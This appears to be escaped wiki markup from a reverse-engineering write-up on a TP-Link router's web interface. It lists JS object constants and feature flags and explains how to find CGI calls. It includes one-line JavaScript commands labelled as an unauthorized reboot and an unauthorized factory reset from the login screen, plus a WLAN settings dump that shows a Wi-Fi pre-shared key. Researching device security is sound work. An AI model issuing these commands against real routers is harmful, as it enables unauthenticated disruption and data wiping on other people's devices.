var VOICE_PROF_MGCP = &amp;quot;VOICE_PROF_MGCP&amp;quot;&lt;br /&gt;
var VOICE_PROF_RTP = &amp;quot;VOICE_PROF_RTP&amp;quot;&lt;br /&gt;
var VOICE_PROF_FAXT38 = &amp;quot;VOICE_PROF_FAXT38&amp;quot;&lt;br /&gt;
var XTP_USB_VOICEMAIL_PUBLICCFG = &amp;quot;XTP_USB_VOICEMAIL_PUBLICCFG&amp;quot;&lt;br /&gt;
var XTP_MULTI_ISP = &amp;quot;XTP_MULTI_ISP&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC = &amp;quot;XTP_MULTIISP_CODEC&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC_LIST = &amp;quot;XTP_MULTIISP_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE = &amp;quot;VOICE_PROF_LINE&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_SIP = &amp;quot;VOICE_PROF_LINE_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_XTPUSBVM = &amp;quot;VOICE_PROF_LINE_XTPUSBVM&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CALLFEAT = &amp;quot;VOICE_PROF_LINE_CALLFEAT&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_PROC = &amp;quot;VOICE_PROF_LINE_PROC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC = &amp;quot;VOICE_PROF_LINE_CODEC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC_LIST = &amp;quot;VOICE_PROF_LINE_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_STATS = &amp;quot;VOICE_PROF_LINE_STATS&amp;quot;&lt;br /&gt;
var XTP_FEATURE_CODE = &amp;quot;XTP_FEATURE_CODE&amp;quot;&lt;br /&gt;
var VOICE_PHY_INTERFACE = &amp;quot;VOICE_PHY_INTERFACE&amp;quot;&lt;br /&gt;
var VOICE_PHYINTERFACE_TESTS = &amp;quot;VOICE_PHYINTERFACE_TESTS&amp;quot;&lt;br /&gt;
var XTP_VOICE_MULTI_ISPDIALPLAN = &amp;quot;XTP_VOICE_MULTI_ISPDIALPLAN&amp;quot;&lt;br /&gt;
var XTP_VOICE_PSTN = &amp;quot;XTP_VOICE_PSTN&amp;quot;&lt;br /&gt;
var STORAGE_SERVICE = &amp;quot;STORAGE_SERVICE&amp;quot;&lt;br /&gt;
var CAPABLE = &amp;quot;CAPABLE&amp;quot;&lt;br /&gt;
var USER_ACCOUNT = &amp;quot;USER_ACCOUNT&amp;quot;&lt;br /&gt;
var USB_DEVICE = &amp;quot;USB_DEVICE&amp;quot;&lt;br /&gt;
var LOGICAL_VOLUME = &amp;quot;LOGICAL_VOLUME&amp;quot;&lt;br /&gt;
var FOLDER_BROWSE = &amp;quot;FOLDER_BROWSE&amp;quot;&lt;br /&gt;
var FOLDER_NODE = &amp;quot;FOLDER_NODE&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER = &amp;quot;DLNA_MEDIA_SERVER&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER_FOLDER = &amp;quot;DLNA_MEDIA_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var SMB_SERVICE = &amp;quot;SMB_SERVICE&amp;quot;&lt;br /&gt;
var SMB_SERVICE_FOLDER = &amp;quot;SMB_SERVICE_FOLDER&amp;quot;&lt;br /&gt;
var SMB_USER_ACCESS = &amp;quot;SMB_USER_ACCESS&amp;quot;&lt;br /&gt;
var FTP_SERVER = &amp;quot;FTP_SERVER&amp;quot;&lt;br /&gt;
var FTP_SERVER_FOLDER = &amp;quot;FTP_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var FTP_USER_ACCESS = &amp;quot;FTP_USER_ACCESS&amp;quot;&lt;br /&gt;
var XTP_PRINT_SERVICE = &amp;quot;XTP_PRINT_SERVICE&amp;quot;&lt;br /&gt;
var XTP_IGD_CALL_FIREWALL_CFG = &amp;quot;XTP_IGD_CALL_FIREWALL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_SPEED_DIAL_CFG = &amp;quot;XTP_IGD_SPEED_DIAL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTI_ISP_DIAL_PLAN = &amp;quot;XTP_IGD_MULTI_ISP_DIAL_PLAN&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTIISPDP_LIST = &amp;quot;XTP_IGD_MULTIISPDP_LIST&amp;quot;&lt;br /&gt;
var XTP_CALLLOGCFG = &amp;quot;XTP_CALLLOGCFG&amp;quot;&lt;br /&gt;
var IPSEC = &amp;quot;IPSEC&amp;quot;&lt;br /&gt;
var IPSEC_CFG = &amp;quot;IPSEC_CFG&amp;quot;&lt;br /&gt;
var SYS_MODE = &amp;quot;SYS_MODE&amp;quot;&lt;br /&gt;
var EWAN = &amp;quot;EWAN&amp;quot;&lt;br /&gt;
var USER_INFO = &amp;quot;USER_INFO&amp;quot;&lt;br /&gt;
var GPON_USER_INFO = &amp;quot;GPON_USER_INFO&amp;quot;&lt;br /&gt;
var GPON_AUTH_CTC = &amp;quot;GPON_AUTH_CTC&amp;quot;&lt;br /&gt;
var GPON_AUTH_SN = &amp;quot;GPON_AUTH_SN&amp;quot;&lt;br /&gt;
var GPON_AUTH_PWD = &amp;quot;GPON_AUTH_PWD&amp;quot;&lt;br /&gt;
var GPON_MAC_INFO = &amp;quot;GPON_MAC_INFO&amp;quot;&lt;br /&gt;
var GPON_FWD_RULE = &amp;quot;GPON_FWD_RULE&amp;quot;&lt;br /&gt;
var GPON_LOCAL_RULE_ENTRY = &amp;quot;GPON_LOCAL_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_REMOTE_RULE_ENTRY = &amp;quot;GPON_REMOTE_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT = &amp;quot;GPON_OMCI_IOT&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT_ENTRY = &amp;quot;GPON_OMCI_IOT_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_ME_ATTR = &amp;quot;GPON_OMCI_ME_ATTR&amp;quot;&lt;br /&gt;
var CLOUD_SERVICE = &amp;quot;CLOUD_SERVICE&amp;quot;&lt;br /&gt;
var FW_UPGRADE_INFO = &amp;quot;FW_UPGRADE_INFO&amp;quot;&lt;br /&gt;
var CLOUD_USER_ACCOUNT = &amp;quot;CLOUD_USER_ACCOUNT&amp;quot;&lt;br /&gt;
var OWNER_INFO = &amp;quot;OWNER_INFO&amp;quot;&lt;br /&gt;
var CURRENT_USER_INFO = &amp;quot;CURRENT_USER_INFO&amp;quot;&lt;br /&gt;
var CLOUD_DDNS = &amp;quot;CLOUD_DDNS&amp;quot;&lt;br /&gt;
var CLOUD_DDNS_ENTRY = &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;&lt;br /&gt;
var WAN_BLOCK = &amp;quot;WAN_BLOCK&amp;quot;&lt;br /&gt;
var WAN_ERROR_BLOCK = &amp;quot;WAN_ERROR_BLOCK&amp;quot;&lt;br /&gt;
var FW_UP_INFO_BLOCK = &amp;quot;FW_UP_INFO_BLOCK&amp;quot;&lt;br /&gt;
var IPPING_DIAG = &amp;quot;IPPING_DIAG&amp;quot;&lt;br /&gt;
var TRACEROUTE_DIAG = &amp;quot;TRACEROUTE_DIAG&amp;quot;&lt;br /&gt;
var SDMZ_CFG = &amp;quot;SDMZ_CFG&amp;quot;&lt;br /&gt;
var WEB_CFG = &amp;quot;WEB_CFG&amp;quot;&lt;br /&gt;
var VLAN = &amp;quot;VLAN&amp;quot;&lt;br /&gt;
var ISP_SERVICE = &amp;quot;ISP_SERVICE&amp;quot;&lt;br /&gt;
var WOL = &amp;quot;WOL&amp;quot;&lt;br /&gt;
var WOL_ITEM = &amp;quot;WOL_ITEM&amp;quot;&lt;br /&gt;
var IPV6_CFG = &amp;quot;IPV6_CFG&amp;quot;&lt;br /&gt;
var SYS_STATE = &amp;quot;SYS_STATE&amp;quot;&lt;br /&gt;
var IPV6_PASS_THROUGH = &amp;quot;IPV6_PASS_THROUGH&amp;quot;&lt;br /&gt;
var AUTO_REBOOT_CFG = &amp;quot;AUTO_REBOOT_CFG&amp;quot;&lt;br /&gt;
var CPU_MEM = &amp;quot;CPU_MEM&amp;quot;&lt;br /&gt;
var PRODUCE_INFO = &amp;quot;PRODUCE_INFO&amp;quot;&lt;br /&gt;
var MULTIMODE = &amp;quot;MULTIMODE&amp;quot;&lt;br /&gt;
var MULTIMODE_AP = &amp;quot;MULTIMODE_AP&amp;quot;&lt;br /&gt;
var AP_CONFIG_WEPKEY = &amp;quot;AP_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var AP_SNMP_CFG = &amp;quot;AP_SNMP_CFG&amp;quot;&lt;br /&gt;
var MULTIMODE_CLIENT = &amp;quot;MULTIMODE_CLIENT&amp;quot;&lt;br /&gt;
var MULTIMODE_RE = &amp;quot;MULTIMODE_RE&amp;quot;&lt;br /&gt;
var RE_CONFIG_WEPKEY = &amp;quot;RE_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var MULTIMODE_ROUTER = &amp;quot;MULTIMODE_ROUTER&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_WEPKEY = &amp;quot;ROUTER_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MULTISSID = &amp;quot;ROUTER_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MSSIDENTRY = &amp;quot;ROUTER_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_MSSID = &amp;quot;MULTIMODE_MSSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MULTISSID = &amp;quot;MSSID_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MSSIDENTRY = &amp;quot;MSSID_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_HOTSPOT = &amp;quot;MULTIMODE_HOTSPOT&amp;quot;&lt;br /&gt;
var PING_WATCH_DOG = &amp;quot;PING_WATCH_DOG&amp;quot;&lt;br /&gt;
var LED_CONTROL = &amp;quot;LED_CONTROL&amp;quot;&lt;br /&gt;
var NEW_SDMZ_CFG = &amp;quot;NEW_SDMZ_CFG&amp;quot;&lt;br /&gt;
&lt;br /&gt;
var INCLUDE_MULTI_LANGUAGE_Q=0&lt;br /&gt;
var INCLUDE_LOGIN_GDPR_ENCRYPT=1&lt;br /&gt;
var INCLUDE_WAN_LAN_STATUS=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MODEM=0&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var WEB_INCLUDE_TEST=0&lt;br /&gt;
var WEB_INCLUDE_MULTI_EWAN=0&lt;br /&gt;
var WEB_INCLUDE_DST=1&lt;br /&gt;
var WEB_QS_CHANGEPASSWORD=1&lt;br /&gt;
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0&lt;br /&gt;
var INCLUDE_UN_IPTV=0&lt;br /&gt;
var INCLUDE_SCHEDULE_NEW=0&lt;br /&gt;
var INCLUDE_HW_NAT=0&lt;br /&gt;
var INCLUDE_LED_CONTROL=0&lt;br /&gt;
var INCLUDE_MULTILANGUAGE=0&lt;br /&gt;
var INCLUDE_FEEDBACK=0&lt;br /&gt;
var INCLUDE_WOL=0&lt;br /&gt;
var INCLUDE_MULTILOCALCOEX=0&lt;br /&gt;
var INCLUDE_WEBUI_SUPPORT=1&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT=0&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT=0&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST=0&lt;br /&gt;
var INCLUDE_MULTIPLE_LOCALIZATION=0&lt;br /&gt;
var INCLUDE_SCAN_ALL_CHANNELS=0&lt;br /&gt;
var INCLUDE_WDS_DUALBAND_DYNSWITCH=0&lt;br /&gt;
var INCLUDE_LOCK_TO_AP=1&lt;br /&gt;
&lt;br /&gt;
var INCLUDE_LAN_WLAN=1&lt;br /&gt;
var INCLUDE_VOIP&lt;br /&gt;
var INCLUDE_FXS_NUM&lt;br /&gt;
var INCLUDE_CALLLOG&lt;br /&gt;
var INCLUDE_USB_VOICEMAIL&lt;br /&gt;
var INCLUDE_PSTN&lt;br /&gt;
var INCLUDE_PSTN_GATEWAY&lt;br /&gt;
var INCLUDE_PSTN_LIFELINE&lt;br /&gt;
var INCLUDE_BRIDGING=1&lt;br /&gt;
var INCLUDE_IGMP=1&lt;br /&gt;
var INCLUDE_ETHERNET_WAN=1&lt;br /&gt;
var INCLUDE_WAN_LAN_STATUS=1&lt;br /&gt;
var INCLUDE_SNMP=1&lt;br /&gt;
var INCLUDE_RIP&lt;br /&gt;
var INCLUDE_DDNS_PH&lt;br /&gt;
var INCLUDE_LAN_WLAN_MSSID=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS=1&lt;br /&gt;
var INCLUDE_IPTV&lt;br /&gt;
var INCLUDE_CWMP&lt;br /&gt;
var INCLUDE_DYNDNS=1&lt;br /&gt;
var INCLUDE_USB&lt;br /&gt;
var INCLUDE_USB_STORAGE&lt;br /&gt;
var INCLUDE_USB_MEDIA_SERVER&lt;br /&gt;
var INCLUDE_USB_SAMBA_SERVER&lt;br /&gt;
var INCLUDE_USB_FTP_SERVER&lt;br /&gt;
var INCLUDE_USB_OVER_IP&lt;br /&gt;
var INCLUDE_ADSLWAN&lt;br /&gt;
var INCLUDE_AUTO_PVC&lt;br /&gt;
var INCLUDE_IPV6=1&lt;br /&gt;
var INCLUDE_IPV6_SLAAC=1&lt;br /&gt;
var INCLUDE_IPV6_AUTO=1&lt;br /&gt;
var INCLUDE_SPECIAL_DIAL_MODE&lt;br /&gt;
var INCLUDE_WAN_MODE=1&lt;br /&gt;
var INCLUDE_IPSEC&lt;br /&gt;
var INCLUDE_NOIPDNS=1&lt;br /&gt;
var INCLUDE_ALG_H323=1&lt;br /&gt;
var INCLUDE_ALG_SIP=1&lt;br /&gt;
var INCLUDE_PON_ETH_WAN&lt;br /&gt;
var INCLUDE_EPON_INFO&lt;br /&gt;
var INCLUDE_GPON_INFO&lt;br /&gt;
var INCLUDE_QOS&lt;br /&gt;
var INCLUDE_E8_APP&lt;br /&gt;
var INCLUDE_TFC_PERU&lt;br /&gt;
var INCLUDE_USB_3G_DONGLE&lt;br /&gt;
var INCLUDE_LAN_WLAN_SCHEDULE=1&lt;br /&gt;
var INCLUDE_ROUTE_BINDING&lt;br /&gt;
var INCLUDE_LAN_WLAN_GUESTNETWORK=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_DUALBAND&lt;br /&gt;
var INCLUDE_LAN_WLAN_HWSWITCH&lt;br /&gt;
var INCLUDE_LAN_WLAN_AC=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS_DETECT&lt;br /&gt;
var INCLUDE_L2TP=1&lt;br /&gt;
var INCLUDE_PPTP=1&lt;br /&gt;
var INCLUDE_IPV6_MLD=1&lt;br /&gt;
var INCLUDE_ACL&lt;br /&gt;
var INCLUDE_ACL_ADVANCE&lt;br /&gt;
var INCLUDE_DUAL_ACCESS=1&lt;br /&gt;
var INCLUDE_WAN_TYPE_DETECT=1&lt;br /&gt;
var INCLUDE_BPA=1&lt;br /&gt;
var INCLUDE_CMXDNS=1&lt;br /&gt;
var INCLUDE_IPPING_DIAG=1&lt;br /&gt;
var INCLUDE_TRACEROUTE_DIAG=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_QUICKSAVE&lt;br /&gt;
var INCLUDE_IGMP_FORCEVERSION=1&lt;br /&gt;
var INCLUDE_PORTABLE_APP=1&lt;br /&gt;
var DEFAULT_NO_SPEC=1&lt;br /&gt;
var INCLUDE_MEXICO_SPEC&lt;br /&gt;
var INCLUDE_CANADA_SPEC&lt;br /&gt;
var INCLUDE_JAPAN_SPEC&lt;br /&gt;
var INCLUDE_KOREA_SPEC&lt;br /&gt;
var INCLUDE_PL_SPEC&lt;br /&gt;
var INCLUDE_BR_SPEC&lt;br /&gt;
var INCLUDE_ROMANIA_SPEC&lt;br /&gt;
var INCLUDE_RUSSIA_SPEC&lt;br /&gt;
var INCLUDE_US_SPEC&lt;br /&gt;
var INCLUDE_VN_SPEC&lt;br /&gt;
var INCLUDE_VIETNAM_FPT&lt;br /&gt;
var INCLUDE_TW_SPEC&lt;br /&gt;
var INCLUDE_ES_SPEC&lt;br /&gt;
var INCLUDE_X_TP_VLAN=1&lt;br /&gt;
var INCLUDE_FORBID_WAN_PING=1&lt;br /&gt;
var INCLUDE_SMART_DHCP=1&lt;br /&gt;
var INCLUDE_MIC=1&lt;br /&gt;
var INCLUDE_IPV6_PASS_THROUGH&lt;br /&gt;
var INCLUDE_AUTOREBOOT=1&lt;br /&gt;
var INCLUDE_CPUMEM_INFO&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var INCLUDE_MULTIMODE_AP=1&lt;br /&gt;
var INCLUDE_MULTIMODE_CLIENT=1&lt;br /&gt;
var INCLUDE_MULTIMODE=1&lt;br /&gt;
var INCLUDE_PING_WATCHDOG=1&lt;br /&gt;
var INCLUDE_MULTIMODE_ROUTER=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MSSID&lt;br /&gt;
var INCLUDE_YANDEX_DNS&lt;br /&gt;
var INCLUDE_LED_CONTROL&lt;br /&gt;
var INCLUDE_MULTILANGUAGE&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT&lt;br /&gt;
var INCLUDE_MULTIMODE_HOTSPOT=1&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST&lt;br /&gt;
var INCLUDE_FBWIFI&lt;br /&gt;
var INCLUDE_CLOUD&lt;br /&gt;
var INCLUDE_WANIP_BINDING&lt;br /&gt;
var INCLUDE_HTTPS_SSL=1&lt;br /&gt;
var INCLUDE_LAN_AP_GATEWAY=1&lt;br /&gt;
var INCLUDE_US_FOR_KR_SPEC&lt;br /&gt;
var INCLUDE_WOL&lt;br /&gt;
var INCLUDE_NEW_SDMZ&lt;br /&gt;
var INCLUDE_DMZ&lt;br /&gt;
var INCLUDE_SDMZ&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: While debugging CGI calls, the server returns an error numeric code. A successfull request returns &amp;lt;code&amp;gt;$.ret=0&amp;lt;/code&amp;gt;. Other &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt; code&#039;s meaning can be easily resolved using the &amp;lt;code&amp;gt;err.js&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The JS files mentioned up to this point (&amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;oid_str.js&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;err.js&amp;lt;/code&amp;gt;) are all accessible without any authorisation in the werservers &amp;lt;code&amp;gt;/js&amp;lt;/code&amp;gt; directory and define the basic functionality of the web interface.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The easiest to get starting, is by learning from examples, and there are tons of them. Most of them can be found by analysing commands that are integraded within the webpage. If the &amp;lt;code&amp;gt;/web&amp;lt;/code&amp;gt; directory has already been aquired and locally available, a simple command (&amp;lt;code&amp;gt;grep -rnw &#039;./web&#039; -e &#039;$.act&#039;&amp;lt;/code&amp;gt;), will reveal almost 2000 examples, spread over all documents. The other option is to use the browser&#039;s developer options. Choose element selection option (macOS: ⇧+⌘+C) an click any button. All forms on the webpage have &amp;lt;code&amp;gt;onclick=&amp;quot;functionName()&amp;quot;&amp;lt;/code&amp;gt; events present. Then type &amp;lt;code&amp;gt;functionName&amp;lt;/code&amp;gt; without brackets into the browser console and press enter. Double click on the result. This brings you straight to the file containing the function in question. I only explain this, because the page uses multiple iframes, which makes manual search a bit harder. In the following a very simple example function, which has been used as my entry point and also used in the following [[#Examples|Examples]] Section.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;function doRestart()&lt;br /&gt;
{&lt;br /&gt;
	if(confirm(c_str.creboot))&lt;br /&gt;
	{&lt;br /&gt;
		$.guage([&amp;quot;&amp;lt;span class=&#039;T T_rebooting&#039;&amp;gt;&amp;quot;+s_str.rebooting+&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;, &amp;quot;&amp;lt;span class=&#039;T T_wait_reboot&#039;&amp;gt;&amp;quot;+s_str.wait_reboot+&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;,], 100, $.guageInterval, function(){window.parent.$.refresh();});&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_REBOOT);&lt;br /&gt;
		$.exe(true);&lt;br /&gt;
	}&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: On the older firmware, ALL information are transmitted creartext and unencrypted over the network. The newer firmware encrypts the payload, but still uses unencrypted http connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Examples&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Unauthorized Reboot that works from the login screen&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Unauthorized Factory Reset that works from the login screen&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware 170828&lt;br /&gt;
$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A factory reset, also needs a reboot to become active.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get all LAN_WLAN object attributes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GL, LAN_WLAN); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example LAN_WLAN object attributes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;[1,1,0,0,0,0]0&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
__hwWifiStatus=0&lt;br /&gt;
enable=1&lt;br /&gt;
status=Up&lt;br /&gt;
name=wlan0&lt;br /&gt;
BSSID=74:DA:88:FC:C3:AE&lt;br /&gt;
channel=3&lt;br /&gt;
autoChannelEnable=1&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_C3AE&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=2.4GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=n&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=09960466&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=2,11,6,18,24,48,54,60,90,120,150,90,120,240,450,60,120,240,480,&lt;br /&gt;
operationalDataTransmitRates=&lt;br /&gt;
possibleDataTransmitRates=5.5,11,12,24,36,135,150,30,60,240,270,300,45,450,60,120,240,480,&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=64&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[1,2,0,0,0,0]0&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
__hwWifiStatus=0&lt;br /&gt;
enable=0&lt;br /&gt;
status=Disabled&lt;br /&gt;
name=wlan5&lt;br /&gt;
BSSID=74:DA:88:FC:C3:AD&lt;br /&gt;
channel=40&lt;br /&gt;
autoChannelEnable=1&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_C3AE_5G&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=5GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=ac&lt;br /&gt;
